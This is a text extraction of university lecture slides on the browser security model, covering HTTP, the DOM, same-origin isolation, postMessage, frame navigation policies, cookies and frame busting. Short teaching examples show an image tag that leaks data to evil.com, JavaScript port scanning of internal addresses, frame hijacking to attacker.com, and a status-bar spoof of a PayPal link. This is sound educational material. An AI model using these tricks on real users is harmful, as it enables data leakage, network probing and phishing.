Browser Security Model
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Transcript of Browser Security Model
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Browser Security ModelJohn Mitchell
CS155 Spring 2017
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Top Web Vulnerabilities 2017
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
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Historical Web Vulnerabilities "In the Wild"
Data from aggregator and validator of NVD-reported vulnerabilities
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Historical Web vs System vulnerabilities
Decline in % web vulns since 2009 49% in 2010 -> 37% in 2011. Big decline in SQL Injection vulnerabilities
XSS peak
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Five lectures on Web securityBrowser security model
The browser as an OS and execution platform Protocols, isolation, communication, …
Web application security Application pitfalls and defenses
Session management and user authentication How users authenticate to web sites Browser-server mechanisms for managing state
Content security policies Additional mechanisms for sandboxing and security
HTTPS: goals and pitfalls (after Crypto lecture) Network issues and browser protocol handling
This 2.5-week section could fill an entire course
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Web programming pollFamiliar with basic html?Developed a web application using: Apache? PHP? Ruby?
Python? SQL? JavaScript? CSS? JSON?
Know about: postMessage? NaCl? Webworkers?
CSP? WebView?
Resource: http://www.w3schools.com/
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Goals of web securitySafely browse the web Visit a variety of web sites without incurring
harm Confidentiality: no stolen information Integrity: Site A cannot compromise session at
Site BSupport secure web apps Apps provided over the web can have same
security properties as stand-alone applications
Support secure mobile apps Web protocols and content standards are
used as back end of many mobile apps
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Web Attacker
Sets up malicious site
visited by victim; no control of networkAlice
System
Web security threat model
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Network Attacker
Intercepts and controls network communicationAlice
System
Network security threat model
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Web Attacker
Alice
System
Network Attacker
Alice
System
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Web Threat ModelsWeb attacker Controls attacker.com Can obtain SSL/TLS certificate for
attacker.com User visits attacker.com
Or: runs attacker’s Facebook app, etc.Network attacker Passive: Wireless eavesdropper Active: Evil router, DNS poisoning
Malware attacker Attacker escapes browser isolation
mechanisms and run separately under control of OS
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Malware attackerBrowsers may contain exploitable bugs Often enable remote code execution by web
sites Google study: [the ghost in the browser
2007] Found Trojans on 300,000 web pages (URLs) Found adware on 18,000 web pages (URLs)
Even if browsers were bug-free, still lots of vulnerabilities associated with the web All vulnerabilities on previous slide: XSS,
SQLi, CSRF, …
NOT OUR FOCUS IN THIS PART OF COURSE
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OutlineHttpRendering contentIsolationCommunicationNavigationSecurity User InterfaceCookiesFrames and frame busting
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HTTP
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URLsGlobal identifiers of network-retrievable documents
Example: http://stanford.edu:81/class?name=cs155#homework
Special characters are encoded as hex: %0A = newline %20 or + = space, %2B = + (special exception)
Protocol
Hostname Port PathQuery
Fragment
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GET /index.html HTTP/1.1Accept: image/gif, image/x-bitmap, image/jpeg, */*Accept-Language: enConnection: Keep-AliveUser-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)Host: www.example.comReferer: http://www.google.com?q=dingbats
HTTP RequestMethod File HTTP version Headers
Data – none for GETBlank line
GET : no side effect POST : possible side effect
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HTTP/1.0 200 OKDate: Sun, 21 Apr 1996 02:20:42 GMTServer: Microsoft-Internet-Information-Server/5.0 Connection: keep-aliveContent-Type: text/htmlLast-Modified: Thu, 18 Apr 1996 17:39:05 GMTSet-Cookie: …Content-Length: 2543 <HTML> Some data... whatever ...</HTML>
HTTP ResponseHTTP version Status code Reason phrase Headers
Data
Cookies
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RENDERING CONTENT
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Rendering and eventsBasic browser execution model Each browser window or frame
Loads content Renders it
Processes HTML and scripts to display page May involve images, subframes, etc.
Responds to eventsEvents can be User actions: OnClick, OnMouseover Rendering: OnLoad, OnBeforeUnload Timing: setTimeout(), clearTimeout()
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Example
Source: http://www.w3schools.com/js/js_output.asp
<!DOCTYPE html><html><body>
<h1>My First Web Page</h1><p>My first paragraph.</p>
<button onclick="document.write(5 + 6)">Try it</button>
</body></html>
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Examplehttp://phet.colorado.edu/en/simulations/category/html
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Document Object Model (DOM)
Object-oriented interface used to read and write docs web page in HTML is structured data DOM provides representation of this data
structure
Examples Properties: document.alinkColor, document.URL,
document.forms[ ], document.links[ ], document.anchors[ ]
Methods: document.write(document.referrer)
Includes Browser Object Model (BOM) window, document, frames[], history, location,
navigator (type and version of browser)
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Changing HTML using Script, DOM
Some possibilities createElement(elementName) createTextNode(text) appendChild(newChild) removeChild(node)
Example: Add a new list item:
var list = document.getElementById('t1') var newitem = document.createElement('li') var newtext = document.createTextNode(text) list.appendChild(newitem) newitem.appendChild(newtext)
<ul id="t1"><li> Item 1 </li></ul>
HTML
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Example
Source: http://www.w3schools.com/js/js_output.asp
<!DOCTYPE html><html><body>
<h1>My First Web Page</h1><p>My First Paragraph</p>
<p id="demo"></p>
<script>document.getElementById("demo").innerHTML = 5 + 6;</script>
</body></html>
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HTML Image Tags
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Displays this nice picture Security issues?
<html> … <p> … </p> …<img src=“http://example.com/sunset.gif” height="50" width="100"> …</html>
Basic web functionality
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Image tag security issues
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Communicate with other sites <img src=“http://evil.com/pass-local-
information.jpg?extra_information”>Hide resulting image <img src=“ … ” height=“1" width=“1">
Spoof other sites Add logos that fool a user
Important Point: A web page can send information to any site
Security consequences
Q: what threat model are we talking about here?
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JavaScript onErrorBasic function Triggered when error occurs loading a
document or an imageExample
Runs onError handler if image does not exist and cannot load
<img src="image.gif" onerror="alert('The image could not be loaded.')“>
http://www.w3schools.com/jsref/jsref_onError.asp
Basic web functionality
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JavaScript timingSample code
When response header indicates that page is not an image, the browser stops and notifies JavaScript via the onerror handler.
<html><body><img id="test" style="display: none"><script> var test = document.getElementById(’test’); var start = new Date(); test.onerror = function() { var end = new Date(); alert("Total time: " + (end - start)); } test.src = "http://www.example.com/page.html";</script></body></html>
Basic web functionality
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Port scanning behind firewallJavaScript can:
Request images from internal IP addresses Example: <img src=“192.168.0.4:8080”/>
Use timeout/onError to determine success/failure Fingerprint webapps using known image names
Server
MaliciousWeb page
Firewall
1) “show me dancing pigs!”
2) “check this out”
Browser
scan
scan
scan3) port scan results
Security consequence
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Remote scriptingGoal: communicate between client-side app running in browser and server-side app, without reloadingMethods
Java Applet/ActiveX control/Flash Can make HTTP requests and interact with client-side
JavaScript code, but some aspects may be browser specific
XML-RPC open, standards-based technology that requires XML-
RPC libraries on server and in your client-side code. Simple HTTP via a hidden IFRAME
IFRAME with a script on your web server is by far the easiest of the three remote scripting options
See: http://developer.apple.com/internet/webcontent/iframe.html
Important Point: A page can maintain bi-directional communication with browser (until user closes/quits)
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Simple remote scripting example
<script type="text/javascript"> function handleResponse() { alert('this function is called from server.html') } </script> <iframe id="RSIFrame" name="RSIFrame" style="width:0px; height:0px; border: 0px" src="blank.html"></iframe> <a href="server.html" target="RSIFrame">make RPC call</a>
<script type="text/javascript"> window.parent.handleResponse() </script>
RPC can be done silently in JavaScript, passing and receiving arguments
server.html: another page on same server, could be server.php, etc
client.html: “RPC” by passing arguments to server.html in query string
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ISOLATION
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Frame and iFrameWindow may contain frames from different sources
Frame: rigid division as part of frameset iFrame: floating inline frame
iFrame example
Why use frames? Delegate screen area to content from another source Browser provides isolation based on frames Parent may work even if frame is broken
<iframe src="hello.html" width=450 height=100> If you can see this, your browser doesn't understand IFRAME. </iframe>
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Windows and frames interact
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AnalogyOperating system
Primitives System calls Processes Disk
Principals: Users Discretionary access
controlVulnerabilities
Buffer overflow Root exploit
Web browserPrimitives
Document object model Frames Cookies / localStorage
Principals: “Origins” Mandatory access
controlVulnerabilities
Cross-site scripting Cross-site request
forgery Cache history attacks …
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Policy GoalsSafe to visit an evil web site
Safe to visit two pages at the same time Address bar
distinguishes them
Allow safe delegation
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Browser security mechanism
Each frame of a page has an origin Origin = protocol://host:port
Frame can access its own origin Network access, Read/write DOM, Storage (cookies)
Frame cannot access data associated with a different origin
A A
B
BA
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Components of browser security policy
Frame-Frame relationships canScript(A,B)
Can Frame A execute a script that manipulates arbitrary/nontrivial DOM elements of Frame B?
canNavigate(A,B) Can Frame A change the origin of content for
Frame B?Frame-principal relationships readCookie(A,S), writeCookie(A,S)
Can Frame A read/write cookies from site S?
See https://code.google.com/p/browsersec/wiki/Part1 https://code.google.com/p/browsersec/wiki/Part2
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Library import excluded from SOP<script
src=https://seal.verisign.com/getseal?host_name=a.com></script>
• Script has privileges of imported page, NOT source server.• Can script other pages in this origin, load more scripts• Other forms of importing
VeriSign
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Domain Relaxation
Origin: scheme, host, (port), hasSetDomainTry document.domain = document.domain
www.facebook.com
www.facebook.comwww.facebook.com chat.facebook.com
chat.facebook.com
facebook.comfacebook.com
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Additional mechanisms
Cross-origin network requests
Access-Control-Allow-Origin: <list of domains>
Access-Control-Allow-Origin: *
Cross-origin client side communication
Client-side messaging via navigation (old browsers)
postMessage (modern browsers)
Site BSite A
Site A context Site B context
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COMMUNICATION
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window.postMessageAPI for inter-frame communication Supported in standard browsers
A network-like channel between frames
Add a contact
Share contacts
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postMessage syntax
frames[0].postMessage("Attack at dawn!", "http://b.com/");
window.addEventListener("message", function (e) {
if (e.origin == "http://a.com") { ... e.data ... }}, false);
FacebookAnecdote
Attack at dawn!
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Why include “targetOrigin”?What goes wrong?frames[0].postMessage("Attack at dawn!");
Messages sent to frames, not principals When would this happen?
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NAVIGATION
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A Guninski Attack
awglogin
window.open("https://attacker.com/", "awglogin");
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What should the policy be?
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ChildSibling
DescendantFrame Bust
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Browser Policy IE 6 (default) Permissive IE 6 (option) Child IE7 (no Flash) Descendant IE7 (with Flash) Permissive Firefox 2 Window Safari 3 Permissive Opera 9 Window HTML 5 Child
Legacy Browser Behavior
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Window Policy Anomaly
top.frames[1].location = "http://www.attacker.com/...";top.frames[2].location = "http://www.attacker.com/...";
...
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Browser Policy IE 6 (default) Permissive IE 6 (option) Child IE7 (no Flash) Descendant IE7 (with Flash) Permissive Firefox 2 Window Safari 3 Permissive Opera 9 Window HTML 5 Child
Legacy Browser Behavior
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Browser Policy IE7 (no Flash) Descendant IE7 (with Flash) Descendant Firefox 3 Descendant Safari 3 Descendant Opera 9 (many policies) HTML 5 Descendant
Adoption of Descendant Policy
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SECURITY USER INTERFACE
When is it safe to type my password?
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Safe to type your password?
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Safe to type your password?
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Safe to type your password?
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Safe to type your password?
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???
???
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Safe to type your password?
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Mixed Content: HTTP and HTTPS
Problem Page loads over HTTPS, but has HTTP
content Network attacker can control page
IE: displays mixed-content dialog to user Flash files over HTTP loaded with no
warning (!) Note: Flash can script the embedding page
Firefox: red slash over lock icon (no dialog) Flash files over HTTP do not trigger the
slashSafari: does not detect mixed content
Dan will talk about this later….
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Mixed content and network attacks
Old sites: after login all content over HTTPS Developer error: Somewhere on bank
site write<script src=http://www.site.com/script.js> </script>
Active network attacker can now hijack any session
Better way to include content: <script src=//www.site.com/script.js>
</script> served over the same protocol as
embedding page
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Lock Icon 2.0Extended validation (EV) certs
• Prominent security indicator for EV certificates
• note: EV site loading content from non-EV site does not trigger mixed content warning
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Finally: the status Bar
Trivially spoofable<a href=“http://www.paypal.com/”
onclick=“this.href = ‘http://www.evil.com/’;”>
PayPal</a>
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COOKIES: CLIENT STATE
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CookiesUsed to store state on user’s machine
Browser ServerPOST …
HTTP Header:Set-cookie: NAME=VALUE ;
domain = (who can read) ;
expires = (when expires) ;
secure = (only over SSL)Browser ServerPOST …
Cookie: NAME = VALUE
HTTP is stateless protocol; cookies add state
If expires=NULL:this session only
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Cookie authenticationBrowser Web Server Auth server
POST login.cgiUsername & pwd Validate user
auth=valStore val
Set-cookie: auth=val
GET restricted.htmlCookie: auth=val restricted.html
auth=val
YES/NOIf YES, restricted.html
Check val
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Cookie Security PolicyUses: User authentication Personalization User tracking: e.g. Doubleclick (3rd
party cookies)
Origin is the tuple <domain, path> Can set cookies valid across a domain
suffix
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Secure Cookies
Browser ServerGET …
HTTP Header:Set-cookie: NAME=VALUE ;
Secure=true
• Provides confidentiality against network attacker• Browser will only send cookie back over
HTTPS• … but no integrity
• Can rewrite secure cookies over HTTPÞ network attacker can rewrite secure
cookiesÞ can log user into attacker’s account
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httpOnly Cookies
Browser ServerGET …
HTTP Header:Set-cookie: NAME=VALUE ;
httpOnly
• Cookie sent over HTTP(s), but not accessible to scripts• cannot be read via document.cookie• Helps prevent cookie theft via XSS
… but does not stop most other risks of XSS bugs
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FRAMES AND FRAME BUSTING
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<iframe name=“myframe” src=“http://www.google.com/”>
This text is ignored by most browsers.</iframe>
FramesEmbed HTML documents in other documents
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Frame Busting
Goal: prevent web page from loading in a frame example: opening login page in a frame will
displaycorrect passmark image
Frame busting:if (top != self)top.location.href = location.href
![Page 72: Browser Security Model](https://reader036.fdocuments.in/reader036/viewer/2022062411/56815e60550346895dccdb15/html5/thumbnails/72.jpg)
Better Frame Busting
Problem: Javascript OnUnload event
Try this instead:
<body onUnload="javascript: cause_an_abort;)">
if (top != self)top.location.href = location.href
else { … code of page here …}
![Page 73: Browser Security Model](https://reader036.fdocuments.in/reader036/viewer/2022062411/56815e60550346895dccdb15/html5/thumbnails/73.jpg)
Even better (after ~2010)
Set X-Frame-Options HTTP response header Tell browser not to render a page in a <frame> or
<iframe> Ensuring that content is not embedded into other sites. Use options "DENY", "SAMEORIGIN", or "ALLOW-FROM
uri"Browser DENY/SAMEORIGIN
Support IntroducedALLOW-FROM Support Introduced
Chrome 4.1.249.1042 Supports CSP frame-ancestors instead
Firefox (Gecko) 3.6.9 (1.9.2.9) 18.0Internet Explorer 8.0 9.0Opera 10.50
Safari 4.0 Won't support - Supports CSP frame-ancestors ins
![Page 74: Browser Security Model](https://reader036.fdocuments.in/reader036/viewer/2022062411/56815e60550346895dccdb15/html5/thumbnails/74.jpg)
SummaryHttpRendering contentIsolationCommunicationNavigationSecurity User InterfaceCookiesFrames and frame busting